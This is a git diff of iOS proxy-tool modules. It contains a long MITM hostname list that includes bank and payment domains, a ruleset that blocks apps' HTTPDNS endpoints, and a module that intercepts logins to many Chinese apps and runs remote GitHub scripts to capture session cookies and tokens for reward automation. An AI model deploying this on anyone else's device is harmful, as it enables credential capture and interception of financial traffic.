channel.beitaichufang.com, static.95508.com, wap.bank.ecitic.com, file.cibfintech.com, api*.futunn.com, mob.mddcloud.com, i.snssdk.com.*, images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com, elemecdn.com, l*.51fanli.net, app.zhuanzhuan.com, *.bdstatic.com, rs.creditcard.cmbc.com.cn, ocean.shuqireader.com, api.fengshows.com, api.touker.com, app.variflight.com, sofire.baidu.com, www.cmbc.com.cn, img01.10101111cdn.com, r.inews.qq.com, *.xima*.*, afd.baidu.com, appwk.baidu.com, ios.lantouzi.com, mpcs.suning.com, m.tuniu.com, api.jxedt.com, dns.jd.com, api.m.jd.com, m.jd.com, *.k.sohu.com, www.nfmovies.com, static01.versa-ai.com, gfp.veta.naver.com, mpos-pic.helipay.com, api.yikaobang.com.cn, god.gameyw.netease.com, image.spdbccc.com.cn, fbchina.flipchina.cn, media.qyer.com, webcast-open.douyin.com, beta-luna.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, restapi.iyunmai.com, static.shihuocdn.cn, weixin110.qq.com, appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com, lban.spdb.com.cn, wap.spdb.com, smart.789.image.mucang.cn, btrace.qq.com, img.dailmo.com, app.95598pay.com, reading-hl.snssdk.com, adproxy.autohome.com, ma.ofo.com, dl*.app.gtja.com, activity2.api.ofo.com, luckman.suning.com, app.xinpianchang.com, static.gameplus.qq.com, portal-xunyou.qingcdn.com, notch.qdaily.com, pan.baidu.com, tiebac.baidu.com, *.tieba.baidu.com, snailsleep.net, *.xmcdn.*, api.laifeng.com, fuss10.elemecdn.com, smkmp.96225.com, static.creditcard.hxb.com.cn, sf3-be-pack.pglstatp-toutiao.com, ossgw.alicdn.com, *.mgtv.com, oral.youdao.com, p.kuaidi100.com, video-dsp.pddpic.com, mlife.jf365.boc.cn, heic.alicdn.com, acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com, www.tsytv.com, app2.autoimg.cn, www.iyingdi.cn, m.baidu.com, webboot.zhangyue.com, api4.bybutter.com, security.wechat.com, api.xiachufang.com, 4gimg.map.qq.com, p.du.163.com, support.you.163.com, apiwz.midukanshu.com, tc.qq.com, img.admobile.top, api.pinduoduo.com, cheyouapi.ycapp.yiche.com, api.kkmh.com, ad.ysepay.com, ports3.gtimg.com, i*.hdslb.com, m.yap.yahoo.com, webcdn.m.qq.com, rtbapi.douyucdn.cn, dapis.mting.info, qidian.qpic.cn, games.mobileapi.hupu.com, emdcadvertise.eastmoney.com, mime.baidu.com, api.club.lenovo.cn, img.allahall.com, staticsns.cdn.bcebos.com, api.wfdata.club, dsa-mfp.fengshows.cn, flowplus.meituan.net, ssp.dzh.com.cn, adm.10jqka.com.cn, stat.10jqka.com.cn, api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113, ios.fuliapps.com, pt-starimg.didistatic.com, *.pipiapps.com, adstatic.peopleapp.com, otheve.beacon.qq.com, ptf.flyertrip.com, api.qbb6.com, res.xiaojukeji.com, conf.diditaxi.com.cn, yunbusiness.ccb.com, img.alicdn.com, capis.didapinche.com, ms.jr.jd.com, m.creditcard.ecitic.com, img.gdoil.cn, api.hanju.koudaibaobao.com, api.jr.mi.com, imagev2.tx.xmcdn.com, upload-bbs.mihoyo.com, gw-passenger.01zhuanche.com, img.yun.01zhuanche, ndstatic.cdn.bcebos.com, fc-video.cdn.bcebos.com, rp.hpplay.cn, dyncdn.me, pss.txffp.com, dxy.com, staticlive.douyucdn.cn, edit.sinaapp.com, www1.elecfans.com, *.googlevideo.com, pocketuni.net, j-image.missfresh.cn, cms.daydaycook.com, api.cloud.189.cn, mobile.cebbank.com, yghsh.cebbank.com, y.gtimg.cn, music.y.qq.com, dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com, ossweb-img.qq.com, mea.meitudata.com, adui.tg.meitu.com, list-app-m.i4.cn, api.daydaycook.com, learn.chaoxing.com, ipv4.music.163.com, interface9.music.163.com, interface.music.163.com, interface3.music.163.com, res.kfc.com.cn, gw.kaola.com, api.huomao.com, mi.gdt.qq.com, fmapp.chinafamilymart.com.cn, app-gw.csdn.net, gw.csdn.net, app.58.com, cap.caocaokeji.cn, live-ads.huya.com, cdn.wup.huya.com, cdnfile1.msstatic.com, business.msstatic.com, ct.xiaojukeji.com, homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com, adpai.thepaper.cn, www.baidu.com, *.tv.sohu.com, ih2.ireader.com, common.diditaxi.com.cn, display.wting.info, kano.guahao.cn, i-lq.snssdk.com, cloud.189.cn, ad.12306.cn, dl-cu-hz.lechange.cn, spclient.wg.spotify.com, dsp-impr2.youdao.com, api.rr.tv, *.pglstatp-toutiao.com, mobile.yangkeduo.com, api.yangkeduo.com, xyz.cnki.net, api.bjxkhc.com, d.psbc.com, fm.fenqile.com, client.app.coc.10086.cn, img.ddrk.me, ddrk.me, img.jiemian.com, message.shuqireader.com, ut2.shuqistat.com, dsp.toutiao.com, sq.sljkj.com, img-tailor.11222.cn, feedback.uc.cn, *.shuqireader.com, 101.91.69.26, gateway.shouqiev.com, api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com, mbank.grcbank.com, -i.vip.iqiyi.com, *.iqiyi.com, api-sams.walmartmobile.cn, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, www.flyert.com, hcz-member.pingan.com.cn, jp.rsscc.com, jt.rsscc.com, api-ac.liepin.com, api-wanda.liepin.com, intellicc.bcs.cmbchina.com, api-cslp-emt.amazon.cn, m.airchina.com.cn, apphw.ddpai.com, waimai-guide.ele.me, 39.98.135.211 diff --git a/Surge/module/blockHTTPDNS.module b/Surge/module/blockHTTPDNS.module new file mode 100644 index 00000000..f8cc6c8f --- /dev/null +++ b/Surge/module/blockHTTPDNS.module @@ -0,0 +1,201 @@ +#!name=HTTPDNS拦截器 +#!desc=拦截常见的HTTPDNS服务,以确保这些请求都能够在Loon的DNS框架下工作。 +#!author=可莉🅥[https://github.com/luestr/ProxyResource/blob/main/README.md], VirgilClyne[https://github.com/VirgilClyne] +#!icon=https://raw.githubusercontent.com/luestr/IconResource/main/Other_icon/120px/HTTPDNS.png +#!tag=DNS +#!loon_version=3.2.4(787) +#!homepage=https://github.com/luestr/ProxyResource/blob/main/README.md +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Surge/module/blockHTTPDNS.module +#!tg-group=https://t.me/lanjieguanggao +#!date=2025-05-13 21:58:49 + +[Rule] +DOMAIN,yyapp-httpdns.gslb.yy.com,REJECT +DOMAIN,union-httpdns.gslb.yy.com,REJECT +DOMAIN,httpdns-v6.gslb.yy.com,REJECT +URL-REGEX,"^http:\/\/103\.44\.58\.64\/md\?",REJECT +URL-REGEX,"^http:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns",REJECT +DOMAIN,dns2.q2cdn.com,REJECT +URL-REGEX,"^http:\/\/xmc\.ximalaya\.com\/xmlymain-login-web\/login\/",REJECT +IP-CIDR,8.134.241.67/32,REJECT,no-resolve +DOMAIN,httpdns.volcengineapi.com,REJECT +DOMAIN,dig.bdurl.net,REJECT +DOMAIN,dig.zjurl.cn,REJECT +AND,((DOMAIN-KEYWORD,tnc),(AND,((OR,((DOMAIN-KEYWORD,-bjlgy),(DOMAIN-KEYWORD,-alisc),(DOMAIN-KEYWORD,-aliec),(DOMAIN-KEYWORD,-alisg))),(OR,((DOMAIN-SUFFIX,snssdk.com),(DOMAIN-SUFFIX,isnssdk.com),(DOMAIN-SUFFIX,toutiaoapi.com),(DOMAIN-SUFFIX,bytedance.com),(DOMAIN-SUFFIX,zijieapi.com)))))),REJECT +DOMAIN,dns.weixin.qq.com,REJECT +DOMAIN,dns.weixin.qq.com.cn,REJECT +DOMAIN,aedns.weixin.qq.com,REJECT +DOMAIN,paydns.wechatpay.cn,REJECT +IP-CIDR,39.156.140.30/32,REJECT,no-resolve +IP-CIDR,39.156.140.47/32,REJECT,no-resolve +IP-CIDR,39.156.140.245/32,REJECT,no-resolve +IP-CIDR,42.81.232.18/32,REJECT,no-resolve +IP-CIDR,42.187.182.106/32,REJECT,no-resolve +IP-CIDR,42.187.182.123/32,REJECT,no-resolve +IP-CIDR,42.187.184.154/32,REJECT,no-resolve +IP-CIDR,43.130.30.237/32,REJECT,no-resolve +IP-CIDR,43.130.30.240/32,REJECT,no-resolve +IP-CIDR,43.137.153.151/32,REJECT,no-resolve +IP-CIDR,43.137.159.31/32,REJECT,no-resolve +IP-CIDR,43.152.112.101/32,REJECT,no-resolve +IP-CIDR,43.153.248.120/32,REJECT,no-resolve +IP-CIDR,60.28.172.100/32,REJECT,no-resolve +IP-CIDR,61.151.231.157/32,REJECT,no-resolve +IP-CIDR,101.32.104.104/32,REJECT,no-resolve +IP-CIDR,106.39.206.21/32,REJECT,no-resolve +IP-CIDR,106.39.206.25/32,REJECT,no-resolve +IP-CIDR,106.39.206.70/32,REJECT,no-resolve +IP-CIDR,111.31.201.194/32,REJECT,no-resolve +IP-CIDR,111.31.241.76/32,REJECT,no-resolve +IP-CIDR,111.31.241.140/32,REJECT,no-resolve +IP-CIDR,111.206.147.156/32,REJECT,no-resolve +IP-CIDR,111.206.147.210/32,REJECT,no-resolve +IP-CIDR,111.206.148.27/32,REJECT,no-resolve +IP-CIDR,116.128.177.249/32,REJECT,no-resolve +IP-CIDR,116.130.224.150/32,REJECT,no-resolve +IP-CIDR,116.130.224.205/32,REJECT,no-resolve +IP-CIDR,117.185.247.73/32,REJECT,no-resolve +IP-CIDR,123.151.48.171/32,REJECT,no-resolve +IP-CIDR,123.151.48.193/32,REJECT,no-resolve +IP-CIDR,123.151.48.208/32,REJECT,no-resolve +IP-CIDR,123.151.54.50/32,REJECT,no-resolve +IP-CIDR,180.153.202.85/32,REJECT,no-resolve +IP-CIDR,183.192.196.31/32,REJECT,no-resolve +IP-CIDR,203.205.129.102/32,REJECT,no-resolve +IP-CIDR,203.205.234.132/32,REJECT,no-resolve +IP-CIDR,220.196.159.73/32,REJECT,no-resolve +IP-CIDR6,240e:928:1400:10::25/128,REJECT,no-resolve +IP-CIDR6,2402:4e00:8030:1::17/128,REJECT,no-resolve +IP-CIDR6,2402:4e00:1900:1700:0:9554:1ad9:c3a/128,REJECT,no-resolve +IP-CIDR6,2408:8711:10:10::20/128,REJECT,no-resolve +IP-CIDR6,2409:8702:4860:10::4d/128,REJECT,no-resolve +DOMAIN,httpdns.kg.qq.com,REJECT +URL-REGEX,"^http:\/\/182\.256\.116\.116\/d",REJECT +DOMAIN,httpdns.bilivideo.com,REJECT +URL-REGEX,"^http:\/\/47\.101\.175\.206\/resolve",REJECT +URL-REGEX,"^http:\/\/47\.100\.123\.169\/resolve",REJECT +URL-REGEX,"^http:\/\/120\.46\.169\.234\/resolve",REJECT +URL-REGEX,"^http:\/\/121\.36\.72\.124\/resolve",REJECT +URL-REGEX,"^http:\/\/116\.63\.10\.135\/resolve",REJECT +URL-REGEX,"^http:\/\/117\.185\.228\.108\/resolve",REJECT +URL-REGEX,"^http:\/\/117\.144\.238\.29\/resolve",REJECT +URL-REGEX,"^http:\/\/122\.9\.7\.134\/resolve",REJECT +URL-REGEX,"^http:\/\/101\.91\.140\.124\/resolve",REJECT +URL-REGEX,"^http:\/\/101\.91\.140\.224\/resolve",REJECT +URL-REGEX,"^http:\/\/122\.9\.13\.79\/resolve",REJECT +URL-REGEX,"^http:\/\/122\.9\.15\.129\/resolve",REJECT +URL-REGEX,"^http:\/\/112\.65\.200\.117\/resolve",REJECT +URL-REGEX,"^http:\/\/112\.64\.218\.119\/resolve",REJECT +URL-REGEX,"^http:\/\/114\.116\.215\.110\/resolve",REJECT +URL-REGEX,"^http:\/\/116\.63\.10\.31\/resolve",REJECT +DOMAIN,httpdns.browser.miui.com,REJECT +DOMAIN,resolver.msg.xiaomi.net,REJECT +DOMAIN,httpdns.alicdn.com,REJECT +DOMAIN,httpdns-api.aliyuncs.com,REJECT +DOMAIN,httpdns-sc.aliyuncs.com,REJECT +IP-CIDR,203.107.1.0/24,REJECT,no-resolve +DOMAIN,httpdns.danuoyi.tbcache.com,REJECT +DOMAIN,httpdns.cctv.com,REJECT +DOMAIN,httpdns-browser.platform.dbankcloud.cn,REJECT +DOMAIN,httpdns.huaweicloud.com,REJECT +DOMAIN,httpdns.c.cdnhwc2.com,REJECT +DOMAIN,httpdns.platform.dbankcloud.cn,REJECT +DOMAIN,httpdns.platform.dbankcloud.com,REJECT +DOMAIN,httpdns1.cc.cdnhwc5.com,REJECT +DOMAIN,doh.ptqy.gitv.tv,REJECT +DOMAIN,httpdns.baidu.com,REJECT +DOMAIN,httpsdns.baidu.com,REJECT +DOMAIN,httpdns.bcelive.com,REJECT +DOMAIN,httpdns.baidubce.com,REJECT +DOMAIN,dns.iqiyi.com,REJECT +DOMAIN,doh.iqiyi.com,REJECT +DOMAIN,dns.qiyipic.iqiyi.com,REJECT +DOMAIN,httpdns.n.shifen.com,REJECT +URL-REGEX,"^http:\/\/180\.76\.76\.112\/v\d\/",REJECT +URL-REGEX,"^http:\/\/180\.76\.76\.112\/v\d\/resolve",REJECT +URL-REGEX,"^http:\/\/180\.76\.76\.220\/v\d\/resolve",REJECT +IP-CIDR,186.76.76.200/32,REJECT,no-resolve +DOMAIN,httpdns.ocloud.heytapmobi.com,REJECT +DOMAIN,httpdns.push.heytapmobi.com,REJECT +DOMAIN,dns.jd.com,REJECT +IP-CIDR,101.124.19.122/32,REJECT,no-resolve +IP-CIDR6,2402:db40:5100:1011::5/128,REJECT,no-resolve +IP-CIDR,103.224.222.208/32,REJECT,no-resolve +IP-CIDR,119.29.29.98/32,REJECT,no-resolve +IP-CIDR,119.29.29.99/32,REJECT,no-resolve +URL-REGEX,"^http:\/\/182\.254\.116\.116\/d",REJECT +URL-REGEX,"^http:\/\/119\.29\.29\.98\/d\?",REJECT +DOMAIN,dotserver.douyucdn.cn,REJECT +DOMAIN,hdns.ksyun.com,REJECT +URL-REGEX,"^http:\/\/162\.14\.3\.250\/v4",REJECT +DOMAIN,httpdns.push.oppomobile.com,REJECT +DOMAIN,httpdns.ocloud.oppomobile.com,REJECT +DOMAIN,kuaishou.httpdns.pro,REJECT +DOMAIN,httpdns.kwd.inkuai.com,REJECT +DOMAIN,apidns.kwd.inkuai.com,REJECT +DOMAIN,apidns-js.kwd.inkuai.com,REJECT +DOMAIN,httpdns.meituan.com,REJECT +DOMAIN,httpdnsmultiapi.meituan.com,REJECT +DOMAIN,httpdnsmultiapivip.meituan.com,REJECT +URL-REGEX,"^http:\/\/103\.37\.155\.60\/fetch",REJECT +URL-REGEX,"^http:\/\/81\.69\.130\.131\/d",REJECT +URL-REGEX,"^http:\/\/101\.35\.204\.35\/d",REJECT +URL-REGEX,"^http:\/\/101\.35\.212\.35\/d",REJECT +URL-REGEX,"^http:\/\/114\.110\.96\.6\/d",REJECT +URL-REGEX,"^http:\/\/114\.110\.96\.26\/d",REJECT +URL-REGEX,"^http:\/\/114\.110\.97\.30\/d",REJECT +URL-REGEX,"^http:\/\/114\.110\.97\.97\/d",REJECT +URL-REGEX,"^http:\/\/121\.5\.84\.85\/d",REJECT +URL-REGEX,"^http:\/\/\[2402:4e00:1411:201:0:9964:ba21:5a41\]\/d",REJECT +DOMAIN,httpdns.music.163.com,REJECT +DOMAIN,httpdns.n.netease.com,REJECT +DOMAIN,httpdns-sdk.n.netease.com,REJECT +DOMAIN,httpdns.yunxindns.com,REJECT +DOMAIN,lofter.httpdns.c.163.com,REJECT +DOMAIN,music.httpdns.c.163.com,REJECT +DOMAIN,httpdns.yunxindns.com,REJECT +IP-CIDR,59.111.239.61/32,REJECT,no-resolve +IP-CIDR,59.111.239.62/32,REJECT,no-resolve +IP-CIDR,115.236.121.51/32,REJECT,no-resolve +IP-CIDR,115.236.121.195/32,REJECT,no-resolve +DOMAIN,httpdns.zybang.com,REJECT +DOMAIN,httpdns.calorietech.com,REJECT +DOMAIN,dns.weibo.cn,REJECT +IP-CIDR,39.97.130.51/32,REJECT,no-resolve +IP-CIDR,39.97.128.148/32,REJECT,no-resolve +URL-REGEX,"^http:\/\/api\.weibo\.cn\/2\/httpdns\/config",REJECT +URL-REGEX,"^http:\/\/api\.weibo\.cn\/httpdns\/config",REJECT +URL-REGEX,"^http:\/\/103\.41\.167\.237\/v2\/resolv",REJECT +IP-CIDR,118.89.204.198/23,REJECT,no-resolve +IP-CIDR6,2402:4e00:1200:ed00:0:9089:6dac:96b6/128,REJECT,no-resolve +DOMAIN,hd.xiaojukeji.com,REJECT +DOMAIN,httpdns.zybang.com,REJECT +URL-REGEX,"^http:\/\/203\.107\.1\.33\/191607\/resolve\?",REJECT +URL-REGEX,"^http:\/\/119\.29\.29\.29\/d",REJECT +DOMAIN,serveraddr.service.kugou.com,REJECT +DOMAIN,twns.p2ptun.qq.com,REJECT +DOMAIN,tp2p.kg.qq.com,REJECT +IP-CIDR,81.71.61.216/32,REJECT,no-resolve +URL-REGEX,"^http:\/\/54\.222\.159\.138:8053\/httpdns\/",REJECT +URL-REGEX,"^http:\/\/101\.42\.130\.147:8053\/httpdns\/",REJECT +URL-REGEX,"^http:\/\/106\.55\.220\.18:8053\/httpdns\/",REJECT +URL-REGEX,"^http:\/\/139\.196\.12\.179:8053\/httpdns\/",REJECT + +[URL Rewrite] +^https?:\/\/203\.107\.1\.1/\d+/ss - reject +^https?:\/\/203\.107\.1\.33/\d+/ss - reject +^https?:\/\/203\.107\.1\.66/\d+/ss - reject +^https?:\/\/203\.107\.1\.67/\d+/ss - reject +^https?:\/\/203\.107\.1\.97/\d+/ss - reject +^https?:\/\/2401:b180:2000:30::1c\/\d+\/d - reject +^https?:\/\/2401:b180:2000:20::10\/\d+\/d - reject +^https?:\/\/cdn\.wup\.huya\.com\/monitor\/monitor\.jsp - reject +^https:\/\/gslbali\.ximalaya\.com\/linkeye-cloud\/httpdns\/ - reject + +[Map Local] +^https?:\/\/appconf\.mail\.163\.com\/mailmaster\/api\/http\/urlConfig\.do$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/msglb\.91160\.com\/msg\/outer\/broker\/get$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +[MITM] +hostname = %APPEND% 203.107.1.1, 203.107.1.33, 203.107.1.66, 203.107.1.67, 203.107.1.97, 2401:b180:2000:30::1c, 2401:b180:2000:20::10, amdc.alipay.com, appconf.mail.163.com, msglb.91160.com diff --git a/Surge/module/cookies.module b/Surge/module/cookies.module new file mode 100644 index 00000000..1e453eb4 --- /dev/null +++ b/Surge/module/cookies.module @@ -0,0 +1,298 @@ +#!name=获取cookie&token合集 +#!desc=整合大部分获取cookie和token的配置Loon版,获取后禁用该配置 +#!author=奶思[https://github.com/fmz200] +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/others/cookie.png +#!category=奶思的模块 +#!homepage=https://github.com/fmz200/wool_scripts +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Surge/module/cookies.module +#!tg-group=https://t.me/lanjieguanggao +#!tag=fmz200 +#!system=ios +#!date=2025-04-25 17:10:00 + +[Script] +# hostname = +AcFun = type=http-request, pattern=^https:\/\/api\-new\.app\.acfun\.cn\/rest\/app\/user\/personalInfo, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/acfun/acfun.cookie.js, timeout=60 + +# hostname = +APK.TW = type=http-request, pattern=^https://apk.tw\/member.php(.*?)action=login, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/apktw/apktw.cookie.js, requires-body=true, timeout=60 + +# hostname = auth.alipan.com, auth.aliyundrive.com +阿里云盘@Sliverkiss = type=http-request, pattern=^https:\/\/(auth|aliyundrive)\.alipan\.com\/v2\/account\/token, script-path=https://gist.githubusercontent.com/Sliverkiss/33800a98dcd029ba09f8b6fc6f0f5162/raw/aliyun.js, requires-body=true, timeout=60 + +阿里云盘@lowking = type=http-response, pattern=^https:\/\/auth.aliyundrive.com\/v2\/account\/token, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/ali/aliYunPanCheckIn.js, requires-body=true, timeout=60 + +# hostname = +爱奇艺 = type=http-request, pattern=^https:\/\/passport\.iqiyi\.com\/apis\/user\/, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/iQIYI-DailyBonus/iQIYI.js, timeout=60 + +# hostname = +bing获取积分cookie = type=http-request, pattern=^https:\/\/rewards\.bing\.com, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bing/bingPoint.js, timeout=60 + +# hostname = +百度贴吧@NobyDa = type=http-request, pattern=https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/BDTieBa-DailyBonus/TieBa.js, timeout=60 + +# 贴吧 获取cookie1 +百度贴吧@bm7 = type=http-request, pattern=https?:\/\/(c\.tieba\.baidu\.com|180\.97\.\d+\.\d+)\/c\/s\/login, script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60 + +# 贴吧_获取cookie2 +百度贴吧@bm7 = type=http-request, pattern=^https?:\/\/c\.tieba\.baidu\.com\/c\/s\/channelIconConfig, script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60 + +# 贴吧_获取cookie3 +百度贴吧@bm7 = type=http-request, pattern=^https?:\/\/tiebac\.baidu\.com\/c\/u\/follow\/getFoldedMessageUserInfo, script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/tieba/tieba_signin.js, timeout=60 + +# hostname = +哔哩哔哩漫画@NobyDa = type=http-request, pattern=^https:\/\/passport\.biligame\.com\/api\/login\/sso.+?version%22%3A%22(3|4|5), script-path=https://raw.githubusercontent.com/NobyDa/Script/master/Bilibili-DailyBonus/Manga.js, timeout=60 + +# 哔哩哔哩大会员特权领取cookie +哔哩哔哩大会员特权获取cookie@lowking = type=http-request, pattern=https:\/\/api.bilibili.com\/x\/vip\/privilege\/receive, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/privilegeReceive.js, timeout=60 + +# 哔哩哔哩番剧监控cookie +哔哩哔哩番剧监控cookie@lowking = type=http-request, pattern=https?:\/\/app.bilibili.com\/x\/v2\/space\/bangumi, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/bilibili/bangumiMonitor.js, timeout=60 + +# 哔哩哔哩 +哔哩哔哩@chavyleung = type=http-request, pattern=^https:\/\/(www|live)\.bilibili\.com\/?.?, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bilibili/bilibili.cookie.js, timeout=60 + +# hostname = +CSDN = type=http-request, pattern=^https:\/\/passport.csdn.net\/v2\/api\/app\/login\/checkAndRefreshToken, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js, timeout=60 + +CSDN = type=http-request, pattern=^https:\/\/gw.csdn.net\/mini-app\/v2\/lucky_draw\/login\/sign_in\?, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js, timeout=60 + +# hostname = +彩云 = type=http-request, pattern=^https?:\/\/api.weather\.com, script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/caiyun.js, timeout=60 + +# tips = ddgyToken: 必填,账号token,多账号换行或者@隔开,格式uid&token。uid不可随便填,主要是方便区分账号用 +滴滴果园获取token = type=http-request, pattern=^https?:\/\/game\.xiaojukeji\.com\/api\/game\/plant\/newWatering\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60 + +# tips = 微信小程序 -- 滴滴出行, 第一次注册登录后可能需要退出再进一次 +滴滴打车 = type=http-response, pattern=^https:\/\/epassport\.diditaxi\.com\.cn\/passport\/login\/v5\/signInByOpenid, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60 + +# hostname = +抖音-抖抖果园 = type=http-request, pattern=^https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info, script-path=https://raw.githubusercontent.com/LinYuanovo/scripts/main/dygy.js, timeout=60 + +# hostname = +叮咚买菜 = type=http-request, pattern=^https?:\/\/maicai\.api\.ddxq\.mobi\/point\/home\?api_version, script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/dingdong/dingdong_checkin.js, timeout=60 + +# hostname = +斗鱼鱼吧 = type=http-request, pattern=^https://yuba.douyu.com/wbapi/web/group/myFollow?, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/douyu/yubaSign.js, timeout=60 + +# hostname = +懂球帝 = type=http-request, pattern=^https:\/\/api\.dongqiudi\.com\/v2\/user\/is_login, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/dongqiudi/dongqiudi.cookie.js, timeout=60 + +# > 叮咚农场 +叮咚农场 = type=http-request, pattern=https:\/\/maicai\.api\.ddxq\.mobi\/user\/checkLogin, script-path=https://raw.githubusercontent.com/iepngs/Script/master/dingdong/index.js, timeout=60 + +# > 叮咚果园 +叮咚果园获取Cookie = type=http-request, pattern=https:\/\/farm\.api\.ddxq\.mobi\/api\/v2\/props\/feed, script-path=https://raw.githubusercontent.com/iepngs/Script/master/dingdong/ddgy.js, timeout=60 + +# hostname = +Fa米家-获取cookie = type=http-request, pattern=^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/market\/member\/(signin\/usersign|sign\/current), script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/famijia/famijia_checkin.js, timeout=60 + +# hostname = www.flyert.com.cn +飞客茶馆获取cookie = type=http-request, pattern=^https?:\/\/www\.flyert\.com\.cn\/api\/mobile\/index\.php\?module=getdata&.*, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/CheckIn/flyert.js, timeout=60 + +# hostname = +樊登读书 = type=http-request, pattern=^https://api\.dushu\.io/CheckIn, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/fandeng/fandeng.cookie.js, requires-body=true, timeout=60 + +# hostname = +hifini-签到cookie = type=http-request, pattern=https:\/\/www.hifini.com\/my.htm, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/hifini/hifiniSign.js, timeout=60 + +# hostname = +合创.cookie = type=http-request, pattern=^https:\/\/wxprdapplet\.gac-nio\.com\/community\/userSignIn\/simpleAuth\/front\/v3\.1\.3\.5\/signV2$, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/hycan/hycan.cookie.js, timeout=60 + +# 浏览器登录京东,点击右下角我的页面获取 +获取京东网页Cookie = type=http-request, pattern=^https:\/\/home\.m\.jd\.com\/myJd\/(newhome|home)\.action, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, timeout=60 + +获取京东网页Cookie = type=http-request, pattern=^https:\/\/my\.m\.jd\.com, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, timeout=60 + +# hostname = +京东读书 = type=http-request, pattern=^https:\/\/jdread-api\.jd\.com\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/jddsSign.js, timeout=60 + +# hostname = +京东到家 = type=http-request, pattern=^https:\/\/daojia.jd.com/client(.*?)functionId=signin(.*?)userSigninNew, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/jddj/jddj.cookie.js, requires-body=true, timeout=60 + +# hostname = +建行生活-签到cookie = type=http-request, pattern=^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin), script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js, requires-body=true, timeout=60 + +# hostname = +柚子快报 = type=http-request, pattern=^http?:\/\/hongbao\.youzikuaibao\.com\/youzi\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/yzkbSign.js, requires-body=true, timeout=60 + +# hostname = +加油广东 = type=http-request, pattern=^https:\/\/m.gdoil.cn\/webapi\/usersign\/addusersign, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/gdoil/gdoil.cookie.js, timeout=60 + +# hostname = +快手果园-获取cookie = type=http-request, pattern=^https://ug-fission.kuaishou.com/rest/n/darwin/orchard/water/watering, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_getCookie.js, timeout=60 + +# hostname = +快看漫画-cookie = type=http-request, pattern=^https:\/\/api\.kkmh\.com\/v\d\/passport\/user, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/KuaiKan-DailyBonus/KKMH.js, timeout=60 + +# hostname = +Luka-获取cookie = type=http-request, pattern=^https?:\/\/luka\-graphql\.ling\.cn\/graphql\/mobile\?operation=UserInfoWithPendingRobotQuery, script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/luka/luka_signin.js, timeout=60 + +# 进入“完善资料”,这一步可以获取到用户ID用于更新多账号信息 +美团token = type=http-response, pattern=https://open.meituan.com/user/v1/info/auditting, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60 + +# 旧版本 +美团旧版本token = type=http-request, 